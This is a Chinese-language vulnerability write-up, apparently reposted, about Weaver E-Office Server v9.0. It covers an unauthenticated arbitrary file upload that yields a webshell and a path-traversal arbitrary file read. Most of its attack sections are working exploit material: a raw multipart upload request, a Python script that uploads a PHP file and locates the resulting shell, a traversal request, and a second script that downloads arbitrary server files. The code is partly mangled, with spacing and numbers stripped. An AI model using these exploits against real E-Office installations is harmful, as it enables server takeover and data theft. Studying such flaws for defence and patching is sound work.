php发展

首页 » 常识 » 问答 » EofficeServerv90漏
TUhjnbcbe - 2023/7/19 20:22:00

漏洞简介


  泛微e-office是一款标准化的协同OA办公软件,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微E-Office未能正确处理上传模块中输入的数据,未授权的攻击者可以构造恶意数据包发送给服务器,实现任意文件上传,并且获得服务器的webshell,成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包,读取服务器上的任意文件


  漏洞影响范围E-officeServer_v9.0


  默认安装位置是d:\eoffice在虚拟机内安装没有D盘,所以安装位置是c:\eoffice


  安装完成后,服务默认在端口通过主机名或ip地址都可以访问到


  代码位置在C:\eoffice\webroot同样代码也是被加密了的


  通过免费的解密网站获得了加密的具体信息ZEND加密PHP5.2版本
  利用工具进行批量的解密,因为工具点击一次只能进行一次解密,所以利用模拟点击的工具进行模拟点击KeymouseGo

任意文件上传漏洞

漏洞利用


  /general/index/UploadFile.php?m=uploadPictureuploadType=eoffice_logouserId=


  

POST/general/index/UploadFile.php?m=uploadPictureuploadType=eoffice_logouserId=HTTP/1.1Host:10.0.21.14:Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/.36(KHTML,likeGecko)Chrome/85.0..83Safari/.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.9Connection:closeContent-Type:multipart/form-data;boundary=----WebKitFormBoundaryykJoMlQs3JMOsgi3Content-Length:------WebKitFormBoundaryykJoMlQs3JMOsgi3Content-Disposition:form-data;name="Filedata";filename="1.php"?phpphpinfo();?------WebKitFormBoundaryykJoMlQs3JMOsgi3--


  上传文件的地址
  漏洞的主要位于general/index/UploadFile.php


  通过$_GET方法获取的参数m,调用UploadFile中的任意方法


  我们选择其中的uploadPicture方法


  没有对传入的文件进行过滤,如果传入一个php文件,命名为1.php最后上传文件会变为logo-eoffice.php传入的位置是$_SERVER[DOCUMENT_ROOT]."/images/logo/"

利用脚本

importsysimportrequestsdefrequest_shell(url):targeturl=url+"/images/logo/logo-eoffice.php"response=requests.get(targeturl)if(response.status_code==):print("获取shell成功,shell地址为:"+targeturl)defrequest_upload(url,data):targeturl=url+"/general/index/UploadFile.php?m=uploadPictureuploadType=eoffice_logouserId="targetfile={Filedata:(upload.php,data,text/plain)}response=requests.post(url=targeturl,files=targetfile)if(response.status_code==):print("上传成功")defread_uploadfile(url,filename):withopen(filename)asf:data=f.read()request_upload(url,data)defupload_file(url,filename):if(filename=="phpinfo.php"):data="?phpphpinfo();?"request_upload(url,data)else:read_uploadfile(url,filename)defmain():iflen(sys.argv)3:print("Usage:upload_file.pytargeturlfilename\n""Example:pythonupload_file.py
  

GET/inc/attach.php?path=/../../../../../1.txtHTTP/1.1Host:10.0.21.14:Origin:
  


  

漏洞分析


  inc/attach.php


  


  直接传入参数$path最后会读取$path的内容并将结果返回出来,我们注意到利用未授权就可将文件下载下来,从代码层面并没有看出来原因,但是通过浏览器直接访问时无法访问到,进行了跳转,通过burpsuite就可以访问到,攥写脚本禁止跳转也可以读取出来。


  漏洞的主要来源位于


  我们看一下文件的下载链接

利用脚本

importsysimportrequestsimportredefsave_reponse(re_result,filename):filename=re.findall("[^/]+$",filename)[0]#print(filename)withopen(filename,w,encoding=gb)asf:f.write(re_result)defre_response(response):re_result=response[7:]returnre_resultdefread_file(url,filename):targeturl=url+"/inc/attach.php?path="+filenameresponse=requests.get(url=targeturl,allow_redirects=False)#print(response.text)re_result=re_response(response.text)print(re_result)save_reponse(re_result,filename)defmain():iflen(sys.argv)3:print("Usage:upload_file.pytargeturlfilename\n""Example:pythonread_file.py
  还有一些SQL注入漏洞,还可以继续进一步的进行审计分析。

更多靶场实验练习、网安学习资料,请访问合天网安实验室。

1
查看完整版本: EofficeServerv90漏